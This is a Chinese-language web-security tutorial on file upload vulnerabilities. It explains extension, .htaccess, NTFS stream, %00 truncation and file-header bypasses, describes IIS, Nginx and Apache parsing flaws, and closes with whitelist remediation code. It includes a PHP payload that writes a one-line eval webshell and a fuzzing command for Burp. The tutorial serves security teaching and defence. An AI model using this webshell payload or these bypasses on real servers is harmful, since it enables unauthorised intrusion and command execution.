【Web安全攻防从入门到精通】文件上传漏洞
文件上传漏洞
原理
程序没有对用户提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。一般只要能上传获取地址,导致可执行文件被解析,就可以获取系统Webshell。
危害
恶意文件传递给解释器执行后,就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、服务器命令执行等恶意操作。(拿shell)
上传点和绕过形式
常见上传点
- 头像
- 相册
- 附件
- 添加文章图片
- 前台留言资料上传
- 编辑器文件上传
后缀绕过
- PHP:php2、php3、php5、pHTML、pht(是否解析需要根据配置文件中设置类型来决定)
- ASP:asa、cer、cdx
- ASPX:ascx、ashx、asac
- JSP:jsp、jspx、jspf
绕过类型
- Content-Type绕过
- 前端绕过(禁用JS上传、抓包上传)
- 文件解析规则绕过(.htaccess规则文件绕过)
.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。.htaccess文件可以帮我们实现网页301重定向、自定义404错误、改变文件扩展名、允许/阻止特定用户或目录的访问、禁止目录列表、配置默认文档等功能。
在一些启用了.htaccess文件的网站上,可以使用此文件类型来绕过限制较为全面的黑名单过滤。 先上传一个.htaccess文件,内容为AddType applicatoin/x-httpd-php .aaa,再上传文件后缀为.aaa的文件,让其解析为PHP类型的文件。
- Windows特性绕过
- 点空格绕过
- Windows文件流,NTFS文件系统下,每个文件都可以存在多个数据流。创建一个数据交换流文件很简单,命名为“宿主文件:准备与宿主文件关联的数据流文件”
上传文件为xxx.php::$DATA类型的文件,访问的时候直接访问xxx.php
- 文件名大小写绕过
- 双写绕过
- %00截断绕过
GET型:直接BP抓包添加%00
POST型:BP抓包添加%00后需要进行URL编码
目录可控:在目录中添加%00。由于保存文件是路径拼接格式,路径又是从前端获取的,所以可以在路径上截断。成功上传后,访问上传地址路径。
- 文件头绕过
由于代码中读取文件的前几个字节值,因此添加文件头绕过。
添加文件头GIF89a。
- 条件竞争绕过
漏洞在系统中的差异
不同的系统、架构及行为中,利用形式也各不相同。常用的Web容器有IIS、Tomcat、Ngix、Apache等。
IIS 5.X/6.0解析漏洞
- 当创建.asp的文件目录时,在此目录下的任意文件,服务器都解析为asp文件。
例:www.xxx.com/xx.asp/1.jpg 的内容,可以为一段合法的asp脚本文件
- 服务器默认不解析“;”(分号)以后的内容,导致xx.asp;.jpg被解析成xx.asp
例:www.xxx.com/xx.asp;.jpg,xx.jpg 的内容可以为一段合法的asp脚本文件
大概流程
N1:从头部查找,查找“.”号,获得“.asp;xxx.jpg”
N2:查找“;”号,如果有则内存截断
N3:查找“/”,如果有则内存截断
因此,.asp最终被保存下来
Nginx解析漏洞
低版本的Nginx中存在一个由PHP-CGI导致的文件解析漏洞。在PHP配置文件里面有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件,默认是开启的,当URL中有不存在的文件时,php就会默认向前解析。
大概流程
普遍做法是在Nginx配置文件中通过正则匹配设置ScriptFileName。访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgiscriptname会被设置为phpinfo.jpg/1.php,然后构造成ScriptFileName传递给PHP-CGI。如果开启了fixpathinfo选项,就会触发在PHP中的如下逻辑:PHP会认为ScriptFileName是phpinfo.jpg而1.php是PATH_INFO,所以就会将phpinfo.jpg作为php文件来解析了。
利用
在默认Fast-CGI开启状况下,上传名字为xx.jpg,内容如下
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。
Apache解析漏洞
Apache在1.x和2.x版本中存在解析漏洞,地址格式如下
www.xxx.com/apache.php.bbb.aaa
Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止。
利用工具进行FUZZ
很多网站对上传拦截时采用的是黑名单校验,当看到黑名单时就可以考虑采用修改后缀,截断等方式尝试绕过。
工具:upload-fuzz-dic-builder
python upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt
把生成的字典导出Burp中,同时取消payload-encoding的选中状态。执行后查看状态,并访问成功上传的文件是否被执行。
漏洞修复
- 代码未判断文件类型或文件类型限制不完全,一般这种是因为黑名单或没有限制,建议添加白名单限制参数数组,固定为图片或文本格式文件。(也就是黑白名单结合)。
if(isset($_POST['submit'])){
//定义白名单,只允许上传这三种格式
$ext_arr = array('jpg','png','gif');
//将文件的后缀名截取出来
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],'.')+1);
//将获取的后缀与白名单对比
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
//随机生成文件名
$img_path = UPLOAD_PATH.'/'.rand(10,99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}else{
$msg = "上传失败";
}
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
- 如果Web中间件存在上传或CMS存在文件上传漏洞,可根据官方建议安装补丁升级版本,或使用官方推荐的临时修改策略来限制问题的产生和利用。